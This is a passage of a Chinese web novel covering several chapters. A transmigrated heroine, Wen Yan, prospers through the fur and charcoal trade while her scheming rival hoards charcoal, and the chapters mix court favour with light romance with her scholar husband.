“我就不信了。我堂堂二十一世纪的,千万粉丝的手工博主,在古代会被饿死。 看我如何用一双素手,在三个月里带着全家脱贫,一年全村致富,三年富可敌国。 至于那个害自己身残的闻颜……” 黄莺儿的手轻轻按在胸口,喃喃自语:“原主,放心吧,你的仇我会报,你受的委屈,我亦会替你讨回来。” 黄莺儿朝空里挥了几下拳头,信誓旦旦。 根本没有发现,一个七八岁的小娃娃,从窗户缝里,将她的举动全部纳入眼底。 然后小跑着回到自己的房间,扑进一个年轻妇人怀中,神情害怕地道:“娘,小姑好像疯了,小姑好吓人……” 她将闻颜的一举一动,全部告诉了母亲。 年轻妇人咬了咬牙。 这个小姑子,到底什么时候才能嫁出去。 明明都十七岁了,天天做着当官太太美梦。 现在好了,应知林没嫁成,还差点把自己的小命搭进去。 这样了都不能安分,还想继续搞事。 她真是烦透这个小姑子了。 现在婚事没了,不知什么时候才能甩掉这颗烫手山芋。 斗转星移,天气渐寒。 闻颜隔三差五地往返在京城和松山村之间,日子过得还算潇洒惬意。 这日,她从松山村回京城。 路过县城的街市时,看见路边的一个摊位,被里三层外三层地围着,吵吵嚷嚷的,似乎在争抢着买什么东西。 空气里还飘着一股若有似无的卤香味。 闻颜好奇,掀起帘子打量。 立刻叫住一位路过的婶子打听:“那边在卖什么?怎么会这么多人争抢?” “在卖卤味。那卤味可好吃了,又香又下饭,还没有一点肉腥味。”那位婶子说着说着,大概是回忆起了卤味的味道,当即就甩开立夏牵着的手,“不跟你说了,我要去抢卤味了,再耽误下去,就要卖没了。” 闻颜被那位婶子的描述勾起了馋虫,就对立夏道:“你去看看,若是什么新奇的吃食,咱们也买一点尝尝鲜。” “好的!”立夏最爱吃食,撒丫子就朝小摊跑过去。 没一会儿,她就拿着两包东西回来了,递给闻颜:“小姐,这卤肉并不便宜,我花了双倍的价钱,从别人手里匀来的。” 东西用荷叶包着的,闻颜看不到内里情景,不过放到鼻尖闻一闻,一股特殊的肉香味,确实让人垂涎欲滴。 闻颜忍不住咽了咽口水,把东西放在一旁:“走,回京城去,午饭一起吃。” “好嘞!”立夏应着。 佩儿一甩马鞭,马车就摇摇晃晃地驶了出去。 被围住的卤摊里,忙得不可开交的人正是黄莺儿。 第299章:羡慕不来的 开张不到半个时辰,今日的卤菜就被抢购一空。 黄莺儿提着沉甸甸的钱袋子,成就感满满。 用不了多久,她就能把小摊变成铺面,然后做大做强,不仅要把卤味店开到京城,她还要开遍大庸每一个城镇。 黄莺儿朝两位哥哥招手:“大哥二哥,走吧,我们回家去。” 她的两位哥哥也是一脸高兴,挑着担子一起回家去了。 街边走出来两个人。 为首的一身锦衣,吩咐身边的随从:“去,跟着他们,两天之内,我要知道他们所有的信息。” 闻颜到了京城之后,她先回‘一点墨’稍做休息,随后便去了‘天衣布庄’。 临近中午,铺子里没什么客人。 崔掌柜把客人交给货娘,就迎了上来,笑着迎接道:“闻小姐,里面请,今天要买点什么?” 随即,他又压低了声音道,“庆川公子已经到了,在二楼的雅间千丝阁。” “你们店里最近来了什么好货?都送到二楼的雅间去,我要好好挑一挑。”闻颜点点头,提着裙摆,就朝二楼走去。 店里的客人认出闻颜,交头接耳道:“那位是闻家的二小姐? 她不是嫁给乡下的穷秀才了,怎么有钱来‘天衣布庄’买东西。 “你有所不知,一个月前,她搭上了恭太妃的线,赏了她不少好东西。有银子在手,她怎么可能忍得住不花。” “啧啧啧,她真是好运,都落魄成那样了,还能靠着恭太妃翻身。” “羡慕不来的,谁让人家有一手高超的绣技呢,这个机会摆在我们面前,我们也抓不住的。 我们还是好好挑布料吧。” 其他人都蔫了,闻颜那一手出尘绝艳的绣技,她们确实甘拜下风。 闻颜来到二楼雅间。 她推开翠竹间的门,走了进去。 就见靠窗的位置上,一个男人站了起来。 他皮肤黝黑粗糙,冲着闻颜灿烂一笑,露出一口大白牙:“闻小姐,你来了。” 闻颜笑着走了过去,朝他一礼:“庆川公子,好久不见。” “好久不见了。”庆川也回了个礼。 “庆川,这一趟你吃了很多苦吧!”两方坐下之后,便是互相寒暄。 “我现在的样子很丑吧。”庆川摸了摸脸,有些懊恼,他该在家多养几日,把脸养俊一点再来找她的。 可现在天气渐冷,那些皮毛再不加工处理,就赶不上这个冬天出售了。 “这可不叫丑,这是大商人的荣耀。” 庆川扑哧一声笑出来,“你倒是会安慰人。” 闻颜嘻嘻一笑,“你可是我的大买办,当然要夸夸夸。只有把你哄高兴了,下次才会帮我拿货啊!” “啧啧啧,你这话说得,你占我好大便宜似的。其实我可没少赚你银子。” 两人玩笑几句,气氛越发融洽。 就说起毛料的事。 “哎呀,此事不急。 你辛辛苦苦帮我收货回来,我岂能如此无情,连顿饱饭都不给你吃。”闻颜豪爽地道,“我在对面酒楼订了桌,我们先去填饱肚子,再去看货。” 庆川没想到还能同她一起吃饭,心里像有一只雀跃的小鹿在乱撞。 他强压住羞涩,撑出淡定的样子朝她点点头:“那应恭敬不如从命了。” 不一会儿,酒楼就把饭菜送来了。 闻颜也拿出在县城买的两包卤味,打开之后,一股霸道的香气就扑面而来。 “好香啊,这卤味是谁家的?色泽、香气都是一等一的,我来尝尝味道。”庆川夹起一块就送进嘴里。 他细嚼慢咽,细细品味之后,眼前一亮:“味道也很好,已经赛过清芬楼的卤味了。” “真有这么好吗?”闻颜也尝了尝。 卤的是核桃肉,口感薄脆,香而不腻,确实是上上品。 “鸭腿,卤鸡,这是什么?” “猪耳朵。这个是猪大肠是。” “哕……”庆川一想到它是装那种东西的,心里就阵阵翻腾,让他作呕。 “这个很好吃的。一点味都没有。”闻颜用公筷夹了一片,递到他面前,“你要不要尝尝看?” 庆川瞬间耳朵发烫,完全没法拒绝闻颜的推荐,用碟子接过,鼓起勇气,闭着眼睛吃进嘴里。 嚼巴嚼巴。 他的眼睛陡然一亮:“真的很好吃。” 庆川馋哭了:“你告诉我,这卤味在哪里买的?我想把配方买过来,这样我下次去边境做买卖,也能吃上这么好吃的卤味了。” “这么好的手艺,肯定是祖传秘方,你这是要断人家财路啊!”闻颜挑了挑眉。 庆川懊恼苦笑:“我没想那么多的。” 闻颜拍拍胸脯:“不过我可以帮你问问,能不能买几个卤料包回来,这样你们在路上也能吃到。” “那就拜托给你了。” 饭后,他们喝了点消食茶,又休息了一会儿,这才朝庆川的库房而去。 偌大的宅子里,庆川专门拿了一个院子来放皮毛。 小厮将所有门都打开,闻颜看着塞满的院子,惊得嘴巴都能塞下一个鸡蛋了。 “不会吧,北境的皮毛如此便宜?我那一点点钱,竟然能买到这么多货?” 闻颜随便走进一间屋子,拿了两张皮毛,仔细看了看:“鞣制的技术粗糙了点,但是毛面很好,光泽度很高,再稍稍处理一下就好。 北境的皮毛,已经便宜成这样了吗?” “你倒是敢想!只有一半是你的货,剩的都是我的。” “你怎么也买了皮草……” “你费这么大力气去收,肯定是能赚大钱的,我怎么会错过这个机会! 你快快制作,我按件给你加工费。 趁着还没有大雪封路,我再出去赚一笔。” “没问题!到时我把样衣做出来,你再来挑款式。” 几屋子的皮草,她又要忙起来了。 正好缫丝作坊的工人闲了下来,这回又有活给他们干了。 还有制衣作坊,不仅要做普通衣服,还要制作皮草,恐怕会忙不过来。 到时再找些绣娘,做一些简单的活计。 嗯,可以在村里挑一些心灵手巧的婆子媳妇,入冬之后没活可做,在家闲着也是闲着,不如接点活补贴家用。 闻颜脑子里飞快盘算着接下来的安排。 第300章:白忙活一场 庆川带回来的皮草种类繁杂。 除了羊、兔、狼、狐狸、貉、貂等常规的,还有几张熊皮、虎皮。 种类实在太多,闻颜单独租了一个小院子,用来存放货物。 她先找人将皮草按种类、颜色、品质分类。 这些皮草的质量整体都不错,但顶级品质的也只有五十几张,单独挑出来后,闻颜找到京城最好的工匠重新鞣制。 她再按每张皮子的特点,单独出衣样子,再交给最好的绣娘来制作。 其他的皮草,她也计划按照好次,出十几个衣样子。 仅是琢磨衣样子并画下来,都够她忙个把月时间。 闻颜把自己关在‘一点墨’二楼的雅间里,开始潜心画衣样子。 她本来就要教哑妹画画,就把她带在身边,耳濡目染。 窗户外面突然传来一阵吵闹的鼓乐声。 哑妹好奇,打开窗户往外看。 一会儿之后,她就跑回来,拉着闻颜往窗边走。 是一只舞狮队,正一边舞狮一边打着幡子往前走。 这场景,似曾相识啊! “是‘妙笔斋’在促销生意,说的是买一送一。结果是买纸、墨、砚台就送一支笔或者镇纸。”佩儿端着点心进来,扑哧一声笑出来,“笔和镇纸的水分可太大了,他也好意思说买一送一。” 闻颜总算想起来了,她只觉得好笑。 闻如月没有一点自己的生意经吗? 又开始拓印她前世的赚钱方法了。 前世她开的妙笔斋,也在今时今日做了打折叫卖。 那是因为会试临近,不少外地的举子汇聚京城,等着参加明年的科举考试。 她见不少外地的寒门学子,买不起笔墨纸砚,便借着做折扣活动的时机,大力宣传店里的抄书生意。 那些抄书的学子里,好几位成名入仕,几年后闻颜用那些书赚了不少钱。 那段时间她店里的生意虽然好,但赚到的钱,其实都以抄书的形式支援那些贫寒学子了。 佩儿偷笑出声,“闻如月肯定被我们榨干了,所以才这么着急赚钱。” 闻颜往手上哈着热气搓了搓:“她当然缺钱了,毕竟冬天马上就到了。” 她已经猜到闻如月想干什么。 她想囤炭。 等到冬日,再转手卖出去。 说实话,闻颜打心底希望闻如月能多赚些银子的。 这样,她那么多炭才有销路啊! “小姐快暖暖手。”佩儿连忙将一个汤婆子塞到闻颜手里,“我说给您烧个炉子,您怎么就不许呢?咱们又不是用不起炭,晋阳府那边……” “炭还是省着点用吧,这个冬天不好过。”闻颜喃喃道。 佩儿对闻颜说的寒冬持怀疑态度:“小姐,今年真的会是寒冬吗?再有半个月就是冬至了,往年这个时候都下雪了,今年还只有一点点冷。” 入冬之后,天黑得格外早。 酉时刚过,街上也没几个人了,更别说街上的铺子了,有的已经打烊歇业了。 津平侯府的马车,缓缓停在妙笔斋门口。 她是特地掐着时间来到‘妙笔斋’的,就是为了验收今日的折卖成果。 掌柜一见闻如月,眼神就有些闪躲。 不过,闻如月一心想着数银子,根本没注意到掌柜的异样。 她一比一拓印了闻颜前世的折卖方式。 前世,闻颜能借着这次促销赚得盆满钵满,自己为什么不可以? “掌柜的,把账本和今日收到的银子,都拿到账房来吧。”闻如月步态轻盈优雅地往账房而去。 掌柜擦了擦额头上的冷汗。 闻如月的丫鬟催促他,才抱着东西跟进账房。 片刻之后,就听账房里突然传出‘啊……’的一声惨叫。 一阵叮铃当啷的响动过后,便是掌柜压抑着痛苦,求饶的声音:“夫人,不是我们不努力,是生意真的不好,我们也没办法啊!” 账房内。 铺匣子掉在地上,散碎的银子、铜钱掉在地上。 掌柜额头被砸出一个血窟窿,此刻正往外咕咕冒血。 “借口!怎么可能没办法!我们都搞促销活动了,几乎是一比一拓印的,她都能成功,为什么我不可以!” “我花银子请你来是做掌柜,不是让你来混吃等死的。 我花这么大的力气宣传折卖,结果一天下来就五十两的营业额? 呵呵,这点钱还不够我今日请舞狮队的。” 掌柜脸的血糊住了眼睛,他却不敢擦,躬着腰,胆战心惊地解释:“实在是‘一点墨’的名声太大了。 它开业的时候闹出那么大的阵仗,全京城无人不知无人不晓。 京城里的人为了买笔墨纸砚,首先想到的就是它。 不止我们争不过它,京城里好多老字号的笔墨铺子,生意也受到巨大影响。” “一点墨!又是一点墨!还真是阴魂不散啊!”闻如月把拳头捏得死紧,喝斥掌柜的:“还不快滚!” 掌柜如蒙大赦,飞快地离开了账房。 她盯着还没离开的丫鬟,恶狠狠地道:“还不走,留在这里看我笑话吗?” 丫鬟吓得瑟瑟发抖,低着头跑了出去。 房间只剩闻如月一人。 “该死的闻颜,你为何要阴魂不散! 你等着,我是不会让你好过!” 她气得砸了账房里所有能砸的东西。 待她发泄够了。 闻如月又开始思考起来。 今年是一个寒冬,京城里那些权贵人家,拿着银子都没地方买炭。 丞相的母亲体弱,他为了给母亲御寒,拆了半个家的木具。 即便这样,他母亲的身体也落下病根,没过两年就驾鹤西去了。 只要自己囤到足够多的炭,不仅能大赚一笔,能借机获得许多人情。 偏偏,她去晋阳府倒卖粮食失利。 不仅没赚到钱,加上各方打点,她甚至还亏了好几千两。 所剩不多的银子,除了买‘素冠荷鼎’,她还拿了一部分去孝敬兰贵妃。 如今,她的傍身银子,已经不足两千两了。 她便想着,趁着这次促销捞上一笔钱囤炭。 没成想,她精心谋划,却竹篮打水一场空。 眼看天气日渐寒冷,再不囤炭,就要错过时机了。 闻如月经过一番激烈的思想斗争,最后把掌柜叫了进来。 “你过来。”闻如月把掌柜叫到身边,对他低声耳语几句,将仅剩的两千两银票给他。 “此事你若还办不好,‘妙笔斋’的掌柜之位,你也别再做了。” 掌柜连忙应是,恭敬地退出了房间。 两千两银子的炭,不够她逆天改命,但至少能结交到一些重要人脉。 不过,看着大好的赚钱机会,就这样从指缝中溜走,闻如月就像被人剜了心一般的疼! 第301章:不争不抢怎么有妻子 天气日渐转冷,时间一晃而过。 眨眼间。 闻颜已经闭关大半个月时间。 毛笔勾勒出最后一画,闻颜终于放下了毛笔。 她站起身,舒服地伸了懒腰:“总算是画完了。” 看着厚厚的一沓画稿,也不枉费她这段时间的勤奋努力。 “小姐可算是能好好休息几天了。”佩儿把一盘点心塞到闻颜手里,又绕到她身后,替她捶着背,“对了,崔叔说几件样衣已经到了,请您过去看看,是否需要修改。” 闻颜道:“样衣全部做出来了?” “全做出来了。庆川公子已经来挑过款式,绣娘已经开始赶工了。” “制作的绣娘忙得过来吗?还有鞘皮的工匠够不够?” “放心吧,我都按照您的交代安排下去了。 现在松山村大半的婶子都接了我们的活在做。 她们每天都在八卦亭里,一边缝制衣服一边聊天,可热闹了。 制作颜料的几位叔叔也在学着鞣制皮草。 姑爷觉得皮草气味大,你会不喜欢,就又加盖了一个作坊,鞣制皮革都搬到那边去了。” 佩儿絮絮叨叨,说着这段时间的事。 闻颜快速把京城这边的事处理完,就回了一趟松山村。 闻颜一下马车。 八卦亭里的婶子们都迎了出来:“哎呦,是举人娘子回来了。” 闻颜笑着跟大家打了招呼,就跟他们在亭子里聊了一会儿天。 闻颜看她们缝纫,便教了几个小技巧。 婶子们试过之后,顿时高兴道:“这样缝果然又快又结实,针脚还美观。果然是举人娘子,懂的就是多。” 闻颜笑了笑,又跟他们聊了几句,就听嫂子哎呦了一声:“瞧,是应举人回来了。” 闻颜顺着路看过去。 只见他一边往家走,一边朝这边看过来。 两人四目相接。 应知林脚步轻快地跑向闻颜,他含笑看着她:“你回来了!” 应知林笑得太明媚,晃得闻颜眼晕。 一旁的婶子捂着胸口,‘哎呦’直喊,“我头一见看见应举人笑,这笑要迷死谁哦!” 应知林面露尴尬,悄悄挪步躲到闻颜身后。 他伸手扯了扯闻颜的衣袖,朝她投来一个求救的眼神。 难得看到他如此窘迫的样子,闻颜朝婶子们挥挥手,就拉着应知林回院子了。 回到院子里,应知林就恢复了平时的温文儒雅:“刚才谢谢你,我不太擅长跟婶子们打交道。” 闻颜忍着笑,说道:“婶子们的热情,确实让人难以招架。” “哦对了,前几日有你的一封信,走,我拿给你。”应知林拉着闻颜回到卧房。 应知林从闻颜的梳妆匣子里,拿出信封,递给闻颜:“喏,就是这个。” 闻颜看见信封上的字迹,就笑了起来:“是迟飞姐姐寄回来的。” 她迫不及待地拆开信封,一目十行地读起来。 闻颜越看越高兴:“太好了!迟飞姐姐要回来了,希延哥哥也和她一起。她们还让我去城门口接她。” 最重要的是,第一批炭,已经运到孟家在京郊的庄子上了。 这样一来,她就能赚闻如月的钱了。 “她们哪日到?到时我陪你一起去。” “她们还有大半个月呢。不过陪同就不用了,你现在正是读书的紧要时候,是应当以学业为重。” 应知林眼睛眨了眨,眼中立刻漫出一层水气,失落道:“那……那好吧。” 他低着头,转身就往外走。 那背影,明明很宽大,可闻颜看着却那么的落寞孤独。 闻颜想到他的成绩经历,于心不忍:“那个……你那天要是不忙的话,就陪我一起去吧。” 应知林猛地转身,脸上全是欣喜:“真的吗?你真的愿意带我去?” 他笑起来眼睛半眯,眼睛里的水气就凝成了水珠,顺着他的眼角滑落。 那小模样,坚强中带着脆弱,脆弱中带着破碎,破碎中又带着倔强。 闻颜的心脏瞬间被什么击中,好想拍拍他的背,好声安慰他。 闻颜点点头:“只要你有空,我就带你去。” “谢谢你。闻颜。”应知林笑得单纯无害,仿佛闻颜的肯定给了他莫大的勇气。 闻颜倒吸一口气。 应知林这家伙也太犯规了吧! 她连忙拿出手帕盖在他的脸上,“你擦擦脸吧。” 再看上去,她怕自己会忍不住摸他的头。 应知林捏着她的手绢,垂眸含笑,眼神里藏着不易察觉的志在必得。 “哟,这里怎么茶香四溢啊!”辰七哥不知何时出现在窗外,单手支颐,似笑非笑地看着应知林。 闻颜也早不知所踪。 “你少管闲事。”应知林脸上的无害表情瞬间收起,他用手帕擦去脸上的痕迹,“不争不抢,不用点小技巧,怎么追到喜欢的女子。” “虽怪我没提醒你,装可怜可以,但是别碰颜颜的底线,否则她一辈子不会搭理你。” “有空教训我,不如去多练练拐吧,否则以后找不到媳妇,只能看着我和闻颜这对恩爱夫妻。” 因为第一批炭到了。 闻颜只在家里住了一夜,就匆匆离开了。 她先去孟家的庄子上,确认炭的数量。 随后就回京城去安排布置。 当天下午人,闻如月在侯府花园里散步时,就听见敬明媚正在丫鬟杜鹃去采购木炭。 杜鹃道:“小姐,咱们真的要采购那么多炭吗?我们手里的银子恐怕不够了。” “不够就去我哥哥的钱庄里借一些。今冬的气候不正常,万一是个寒冬,咱们就能趁机大赚一笔。 说不定还能借机搭上一些达官显贵。 你快去,那个供炭商带的都是好炭。 他是北边来的,急着出货,赶在大雪封山之前回家。 我们动作稍慢,他就会出货给别人了。” “好的,小姐,我这就去安排。”杜鹃说完,就跑着离开了。 闻如月急得跳脚。 她好不容易有个生财之道,怎能让别人抢了先! 说不定,她盯上的那些人脉,也要被敬明媚抢走。 她立即吩咐身边的丫鬟:“快去,跟上杜鹃,把炭商的住处打听到,知道吗?” “是。”丫鬟应了一声,就出去了。 闻如月也回到院中,开始清点自己的嫁妆。 她要挑一些值钱,准备变卖成钱。 对了,敬明媚都能找她哥哥借,自己也可以找夫君和娘家借啊! 第302章:女恶霸 “你问我拿银子?”霍耀行很是惊讶地看向闻如月。 前世都是闻颜赚银子给他花。 自从嫁入侯府,闻颜就未花过侯府一文钱,甚至她赚来的钱,随意他拿去打点关系。 十几年如一日从未有过抱怨。 如今闻如月嫁过来不足一年,就开始向他伸手要钱了。 他如今有一丝后悔,不该因为闻如月蠢笨好控制,就放弃闻颜选了她。 再一想到,闻颜对应知林的关心和维护,他心里就越的发不舒服了。 不过,他倒没有因此撕破脸。 强挤出笑容,问闻如月:“你要多少?” 闻如月眨巴着眼睛:“姑娘家嘛,当然是越多越好啊。” 霍耀行深吸一口气,闭上眼睛没敢看她做作的样子,让人拿了一千两银票给她:“看上什么首饰头面,只管买就是了。” 怎么才一千两! 闻如月撅了撅嘴,在心里嫌弃霍耀行小气。 前世随便给她的,都是四五千上万两。 但她表面还是一脸欢喜地接过。 “谢谢夫君。”闻如月在霍耀行脸上‘叭唧’亲了一口,就欢喜地跑开了。 霍耀行这边收获不大,闻如月转头就让人套了马车,回娘家去。 肥水不流外人田,这么好的赚钱机会,当然是要带着娘家一起。 只要把大多数的炭捏在自己手中,她就能成为京城新的王者。 木炭因为品相、燃烧时长、出烟程度而价格不一。 闻颜千里迢迢运过来的炭,都是最高品质的。 按照种类不同,从十文到百文一斤不等。 这次运来的,全是高档货,普通的炭都在后面慢慢运。 三日之后,闻颜的第一批木炭,就被闻如月从敬明媚手中抢走。 炭商趁机坐地起价。 两万斤炭,换成一千一百五十两现银,送到闻颜手里。 闻颜把钱收好,每人发了一两银子的赏钱,才询问运炭过来的领头:“后面还有多少炭?你们是怎么计划的?现在就回去运其他的吗?” ‘炭商’知道,眼前这位看似柔弱的小姑娘,才是他们真正的东家。 他们这些晋阳府穷苦人的生机,都是她给的。 许多家庭,都因为他们收炭,而勉强活下去。 ‘一点墨’在晋阳府,已经是百姓最信任的店铺。 他当即一五一十地答道:“林掌柜收了近百万斤木炭,他让我们送到货之后,先不着急回去,等大部队汇合之后,再一起走。” “这么多炭!怎么送过来?”闻颜都没法想,一百万斤炭需要多大的仓库来存放。 ‘炭商’道:“我们前面几批,为了赶速度,是用牛马车运过来;剩余的是由林掌柜亲自带队,雇人用板车推过来。” “用板车推过来!”佩儿吃惊,“几千里路,他们推着板车要走到什么时候?那些百姓愿意吗?” ‘炭商’道:“有什么不愿意的。每人跑一趟,能得一百五十斤杂粮,或者三百斤杂粮饼,一家子省吃俭用,能撑大半年了。 大家都抢着干的。 没抢到的都难受死了。” 想到晋阳府的人连饭都吃不上了,会接这样的话,就觉得合情合理了。 既然林叔他们都安排好了,闻颜就没再过多询问。 让他们先在孟家的庄子上暂住着,一切等其他的炭抵达再议。 半月时间,眨眼就过。 转瞬就到了孟迟飞他们抵京的日子。 应知林提前一天向书院请假,陪着闻颜一起去迎接孟迟飞。 抵达当天。 应知林起了个大早。 他将自己的衣裳全部拿出,左挑挑右选选,也没选出满意的。 最后找闻颜给他参谋。 闻颜看看应知林,又看看那些衣裳,率先将那些款式复杂,带着图案的先挑了出来:“你的长相本就绝色,再穿花里胡哨的衣裳,就会显得过于精致,会有脂粉气。” 她挑出一身平织的墨绿长衫,里面的中衣换成黑色,腰带挑了一条丹霞红的宫绦,再配一块玉珏。 “喏,就这一身吧,你去换来给我看看,不合适的地方再改。” “好。”应知林抱着衣裳,就去了屏风后面。 屏风后很快就传来衣料摩擦的沙沙声。 闻颜坐在窗前饮茶,听见声音看过去,就见半透的屏风后面,白色的肌肤,宽肩窄腰,猿臂长腿若隐若现。 他往屏风上搭衣服,身体前倾,胸膛便贴在了屏风的薄绢上。 模糊的胸膛瞬间变得清晰。 饱满的胸肌呼之欲出,仿佛下一秒就要冲破绢布的禁锢而出。 这画面,实在香艳。 闻颜感觉鼻尖一热,摸了摸鼻子,还好还好,没流鼻血。 意识到自己的行为,就像无赖众看寡妇洗澡,闻颜连忙别开目光,歪头看着窗外,往嘴里塞了一大块点心。 结果因为吃得太急,把她呛到了。 “咳咳……” 闻颜呛咳起来。 “你怎么了?”应知林急匆匆跑了出来,连衣服都没穿好。 见她脸颊泛红,十分慌张。 “是被噎住了吗?你快站起来,弯腰,我帮你按肚子,把东西吐出来。” 应知林动作特别迅速,闻颜还没反应过来,他就一手按压她的腹部,一手拍她的背顺气。 “痛痛痛……”闻颜手舞足蹈,一把揪住他的衣服制止,“我没有噎住,你松开我。” 应知林猛地住手,尴尬地往后退后,结果闻颜拽着他的衣服。 他又只能走回来。 闻颜的手就顺手滑进他怀里,贴上他温热的肌肤,哧溜一下滑到底。 应知林猛地并拢双腿,捉住她的手腕。 好险,就差一点! 两人都松了一口气。 “啊……那个……”闻颜虽然尴尬,但还是壮着胆子,瞄了一下衣服里的风景。 应知林捕捉到她目光的流动,双肩后扩,衣襟自然往两边松开,露出更多闻颜相看的东西。 闻颜不是第一次看他的身体,仍然觉得他身材很好。 不得不说,应知林的皮相非常完美,脸蛋漂亮,身材结实有料。 他要不是读书人…… 闻颜强迫自己移开目光:“抱歉,我不是故意轻薄你的。” “该说抱歉的人是我,是我没穿好衣服,……”应知林连忙把衣裳拉好,转过身去,一副被闻颜占了便宜的委屈样子。 闻颜嘴角抽了抽,怎么搞她才像那个调戏良家妇女的恶霸。 第303章:烂泥扶不上墙 应知林手忙脚乱地整理好衣裳,然后拿着一根头绳,问闻颜:“头发用这个扎起来就可以了吗?” “用这个吧。”闻颜拿出一根款式简单的白玉簪。 “好。”应知林接过簪子,给自己梳头。 但他试了好几次都失败了。 闻颜看不下去了,接过篦子:“我帮你吧。” 闻颜拢起他的头发,露出应知林红透的耳朵。 闻颜憋笑。 肯定是刚才不小心碰到他,让他害羞了。 真有意思,他平时装得成熟稳重,在能够依赖的人面前,却很容易露出真实的情绪。 还真是,怪可爱的。 闻颜手巧,没几天就把他的头发梳得精致又结实。 插上白玉簪,一个简约利落的发髻就梳好了。 应知林站起身,在闻颜面前转了个圈:“我这样穿合适吗?” 闻颜对自己的审美满意极了:“合适极了。” 深色衣裳,让他看起来更加的沉熟稳重,再搭配他一身儒雅的气质,绝美的五官,简直是少女杀手。 闻颜已经能想象到,一会儿他迷倒万千少女的样子。 “我的眼光你不信啊,走,我带你去给别人瞧瞧。”说着,闻颜就拉着他在自家院子里逛了一圈。 大家都夸他这么穿好看。 就连看不见的五婆婆,也赞他:“知林长得俊,怎么打扮都好看。” 应知林很快就被夸得不好意思,脸颊都泛起了红晕。 收拾妥当,二人就一起朝京城赶去。 夫妻俩一起出行,就没让佩儿跟着了。 应知林在外面驾马车,闻颜就坐在车门边陪他。 同他有一搭没一搭地说话。 应知林让他往回赶:“外面风大,你的皮肤娇嫩,很容易吹得龟裂,会很疼。” 闻颜把大兜帽罩在头上:“这样就不冷了。距离这么远,我陪你说会儿话吧,时间也好打发一点。” 闻颜拿出羊皮手套、帽子和耳罩给他戴上,让他不至于受冻。 马车达达地朝京城而去,午时前他们抵达京城。 他们并未进城去,就在城门口等候。 闻颜在众多马车里,发现了孟家的马车,她拉着应知林过去打招呼。 城门口已经人山人海。 京中百姓知道赈灾功臣孟希延今天抵京,他们早早就守在城门口欢迎他。 刚到午时。 一大队人马就朝城门口行来。 达达达的马蹄声,整齐的步伐声。 闻颜跟随着众人的目光看去,一眼认出领头的两人。 正是孟希延和孟迟飞兄妹。 闻颜朝他们挥手。 孟迟飞也看到了闻颜,朝她眨了眨眼睛,比了个只有彼此知道的手势。 队伍抵达城门口,例行检查。 这时,城门口一阵骚动。 就见一辆马车出城来,后面还跟着一支仪仗队。 看那依仗的规格和形制,应该是来自宫中。 莫非…… 马车停稳。 小太监上前打起车帘子。 就见一对穿着帝后朝服的夫妻,从中走出。 竟然是当今帝后。 众人连忙齐齐下跪行礼,山呼万岁的声音响彻云霄。 皇帝抬了抬手,让大家起身免礼。 “孟爱卿,此次你去赈灾,不仅将灾民控制在晋阳府内,没有让流民外逃造成暴乱,还很好地控制住了灾民的死亡人数。 此次,你功不可没……” 皇帝对孟希延好一番夸奖,众人都看得出来,皇帝对孟希延的喜爱。 孟家功高盖主,京中权贵都觉得皇帝正在找时机对他们下手。 可如今看他对孟希延的喜欢,恐怕孟家还能再荣华富贵好几年。 眼看大家都要散了。 这时,孟希延的队伍里,突然站出来一个人,跪在孟希延的旁边,大声道:“皇上,虽然此次孟希延赈灾功不可没,但是还有一个人,也在此次赈灾过程中,发挥了重要的作用?” “哦?”皇帝兴味地看向他,“你说的是谁?她又做出了什么功绩?” 那人站起来,在人群里看了一圈,最后指着闻颜:“就是她,闻颜。 她在晋阳府开铺子收炭,让晋阳府的很多百姓有了收入。 今年秋季,她的铺子收了近百万斤炭。 此举帮助孟希延稳定民心,起到了至关重要的作用。 可是留下了许多准备外逃的百姓。” 闻颜看着指着自己的人,那不是元小头领吗? 这个冒失鬼。 众目睽睽之下,干嘛把自己点出来。 收炭的消息传到霍耀行耳中,他会不会起疑? 皇帝皇后也看向闻颜。 元小头领连忙朝闻颜招手:“你过来啊!快点!” 闻颜只得硬着头皮走过去。 众目睽睽之下,她行了个大礼。 “免礼吧,快起来。天寒地冻的,可别把小姑娘的膝盖冻坏了。” 皇后笑盈盈地说着,轻轻抬了抬手,她的宫女上前将闻颜扶了起来。 闻颜低眉垂眼,一副恭敬聆听的模样。 元小头领见闻颜事到如今,还不知道替自己表功。 他就气得心肝疼。 见她这副窝囊样,他就气不打一处来。 他们那个家,没有自己迟早得散。 元小头领恨铁不成钢,只得又叭叭地替她表功:“她的人在那边出了大力,出钱又出力,帮那边的人找出路。 烧炭就是她的人发起的,现在那边多了很多炭窑,好多百姓以炭易粮,不仅解决了温饱,还不至于受冻……” 他喋喋不休,把‘一点墨’在晋阳府做的事,如数家珍一般讲了出来。 皇帝听得眉头时舒时皱。 倒是皇后,一脸欣赏地看着闻颜:“孩子,你是怎么想到这些办法的?” 闻颜蹲了个礼,才道:“回皇后娘娘的话,是迟飞姐姐一直挂记着那边的事,我跟着一起想办法,才有了这些点子。 刚好‘一点墨’书铺赚了些钱,便有了后面的结果,完全是误打误撞。” 元小头领抚额。 功劳都摆在眼前了,她还不知抓住。 她就不能把自己的功劳大吹特吹,然后再向皇帝求一个恩典,赏她一个乡君、县主之类的称号,也能让京城的人不敢再轻易诋毁她。 这个闻颜,简直烂泥扶不上墙。 他气得瞪了闻颜一眼,还想再帮她争取争取。 皇帝轻飘飘扫他一眼。 元小头领缩了缩脖子,不敢再吱声了。 第304章:抗旨 闻颜松了口气。 这家伙终于把嘴闭上了。 “小小女子,也有强大的力量。你与迟飞一文一武,都是不可多得的巾帼英雄。”皇帝夸奖道。 “谢皇上夸奖。”闻颜故作羞涩的低头行礼,正准备告辞,便听皇帝道,“你立了这么大的功,自当奖赏。 既然你收了百万斤炭,那今冬宫里的用炭,就从你这边采购吧。” 现场一静。 宫里那么多宫殿,各宫主子和宫女太监加在一起,有几千上万人。 每年冬天对炭的消耗本就是一个大数目,再加上其中的油水回扣,那是相当可观的一笔收入。 不少人都对闻颜羡慕嫉妒恨。 懊恼自己怎么没想到呢? 不过是去晋阳府收了点炭,不仅从皇帝手里赚到了银子,还得到皇帝赏识。 啧啧啧,京城这些权贵百姓,都是眼睁睁看着闻颜官宦千金,变成一文不值的村妇。 随后又看着她从泥淖中,一点点往上爬。 本以为,她攀上恭太妃已经是极限,没想到转眼又入了皇帝的法眼。 再有孟家加持,她那个举人夫君再努力些,啧啧啧,前途不可限量! 人群里,江心葵和闻如月站在一起。 闻如月气咻咻地跺了跺脚:“母亲,你看这个闻颜,怎么哪哪儿都有她。 今天真是让她出尽风头了。 而且,她手里还有那么多炭,岂不是要跟我们抢生意。” 